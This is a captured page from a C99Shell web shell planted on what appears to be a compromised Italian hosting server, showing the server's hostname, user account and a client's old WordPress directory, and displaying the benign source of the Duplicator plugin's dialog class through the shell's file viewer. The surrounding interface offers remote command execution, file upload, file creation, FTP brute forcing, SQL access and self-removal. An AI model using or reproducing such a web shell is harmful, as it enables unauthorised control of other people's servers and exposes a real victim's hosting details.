!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/duplicator/classes/ui/   drwxr-xr-x
Free 179.26 GB of 490.84 GB (36.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.ui.dialog.php (5.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Used to generate a thinkbox inline dialog such as an alert or confirm popup
 *
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2
 *
 * @package Duplicator
 * @subpackage classes/ui
 * @copyright (c) 2017, Snapcreek LLC
 * @since 1.1.32
 *
 */

// Exit if accessed directly
if (!defined('DUPLICATOR_VERSION')) {
    exit;
}

class 
DUP_UI_Dialog
{
    
/**
     * The title that shows up in the dialog
     */
    
public $title;

    
/**
     * The message displayed in the body of the dialog
     */
    
public $message;

    
/**
     * The width of the dialog the default is used if not set
     * Alert = 475px (default) |  Confirm = 500px (default)
     */
    
public $width;

    
/**
     * The height of the dialog the default is used if not set
     * Alert = 125px (default) |  Confirm = 150px (default)
     */
    
public $height;

    
/**
     * When the progress meter is running show this text
     * Available only on confirm dialogs
     */
    
public $progressText;

    
/**
     * When true a progress meter will run until page is reloaded
     * Available only on confirm dialogs
     */
    
public $progressOn true;

    
/**
     * The javascript call back method to call when the 'Yes' button is clicked
     * Available only on confirm dialogs
     */
    
public $jscallback;

    
/**
     * The id given to the full dialog
     */
    
private $id;

    
/**
     * A unique id that is added to all id elements
     */
    
private $uniqid;

    
/**
     *  Init this object when created
     */
    
public function __construct()
    {
        
add_thickbox();
        
$this->progressText __('Processing please wait...''duplicator');
        
$this->uniqid        substr(uniqid('',true),0,14) . rand();
        
$this->id           'dup-dlg-'.$this->uniqid;
    }

    
/**
     * Gets the unique id that is assigned to each instance of a dialog
     *
     * @return int      The unique ID of this dialog
     */
    
public function getID()
    {
        return 
$this->id;
    }

    
/**
     * Gets the unique id that is assigned to each instance of a dialogs message text
     *
     * @return int      The unique ID of the message
     */
    
public function getMessageID()
    {
        return 
"{$this->id}_message";
    }

    
/**
     * Initialize the alert base html code used to display when needed
     *
     * @return string    The html content used for the alert dialog
     */
    
public function initAlert()
    {
        
$ok __('OK''duplicator');

        
$html = <<<HTML
        <div id="{$this->id}" style="display:none">
            <div class="dup-dlg-alert-txt">
                
{$this->message}
                <br/><br/>
            </div>
            <div class="dup-dlg-alert-btns">
                <input type="button" class="button button-large" value="
{$ok}" onclick="tb_remove()" />
            </div>
        </div>        
HTML;

        echo 
$html;
    }

    
/**
     * Shows the alert base js code used to display when needed
     *
     * @return string    The javascript content used for the alert dialog
     */
    
public function showAlert()
    {
        
$this->width  is_numeric($this->width) ? $this->width 500;
        
$this->height is_numeric($this->height) ? $this->height 175;

        
$html "tb_show('{$this->title}', '#TB_inline?width={$this->width}&height={$this->height}&inlineId={$this->id}');\n" .
                 
"var styleData = jQuery('#TB_window').attr('style') + 'height: {$this->height}px !important';\n" .
                  
"jQuery('#TB_window').attr('style', styleData);";

        echo 
$html;
    }

    
/**
     * Shows the confirm base js code used to display when needed
     *
     * @return string    The javascript content used for the confirm dialog
     */
    
public function initConfirm()
    {
        
$ok     __('OK''duplicator');
        
$cancel __('Cancel''duplicator');

        
$progress_data  '';
        
$progress_func2 '';

        
//Enable the progress spinner
        
if ($this->progressOn) {
            
$progress_func1 "__DUP_UI_Dialog_".$this->uniqid;
            
$progress_func2 ";{$progress_func1}(this)";
            
$progress_data  = <<<HTML
                <div class='dup-dlg-confirm-progress'><i class='fa fa-circle-o-notch fa-spin fa-lg fa-fw'></i> {$this->progressText}</div>
                <script> 
                    function 
{$progress_func1}(obj) 
                    {
                        jQuery(obj).parent().parent().find('.dup-dlg-confirm-progress').show();
                        jQuery(obj).closest('.dup-dlg-confirm-btns').find('input').attr('disabled', 'true');
                    }
                </script>
HTML;
        }

        
$html = <<<HTML
            <div id="{$this->id}" style="display:none">
                <div class="dup-dlg-confirm-txt">
                    <span id="
{$this->id}_message">{$this->message}</span>
                    <br/><br/>
                    
{$progress_data}
                </div>
                <div class="dup-dlg-confirm-btns">
                    <input type="button" class="button button-large" value="
{$ok}" onclick="{$this->jscallback}{$progress_func2}" />
                    <input type="button" class="button button-large" value="
{$cancel}" onclick="tb_remove()" />
                </div>
            </div>        
HTML;

        echo 
$html;
    }

    
/**
     * Shows the confirm base js code used to display when needed
     *
     * @return string    The javascript content used for the confirm dialog
     */
    
public function showConfirm()
    {
        
$this->width  is_numeric($this->width) ? $this->width 500;
        
$this->height is_numeric($this->height) ? $this->height 225;
                
$html "tb_show('{$this->title}', '#TB_inline?width={$this->width}&height={$this->height}&inlineId={$this->id}');\n" .
                 
"var styleData = jQuery('#TB_window').attr('style') + 'height: {$this->height}px !important';\n" .
                  
"jQuery('#TB_window').attr('style', styleData);";

        echo 
$html;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0082 ]--